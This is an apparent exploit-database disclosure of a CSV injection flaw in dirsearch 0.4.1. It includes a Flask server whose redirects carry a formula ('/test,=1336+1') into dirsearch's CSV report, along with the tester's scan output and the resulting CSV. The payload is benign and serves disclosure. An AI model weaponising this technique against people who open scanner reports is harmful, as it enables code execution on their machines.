dirsearch 0.4.1 - CSV Injection

# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

"""
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def index():
 return redirect('/test,=1336+1')

@app.route('/admin')
def admin():
 return redirect('/test,=1336+1')

@app.route('/login')
def login():
 return redirect('/test,=1336+1')
"""


2. Tester runs dirsearch
root@host:~/# python3 dirsearch.py -u http://10.0.0.1 --csv-report=report.csv 


  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2

Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log

Target: http://10.0.0.1

Output File: /root/tools/dirsearch/reports/10.0.0.1/_21-01-06_04-29-10.txt

[04:29:10] Starting: 
[04:29:11] 302 -  233B  - /admin  ->  http://10.0.0.1/test,=1336+1
[04:29:11] 302 -  233B  - /login  ->  http://10.0.0.1/test,=1336+1


3. Result CSV

root@host:~/# cat report.csv

Time,URL,Status,Size,Redirection
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/admin,302,233,http://10.0.0.1/test,=1336+1
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/login,302,233,http://10.0.0.1/test,=1336+1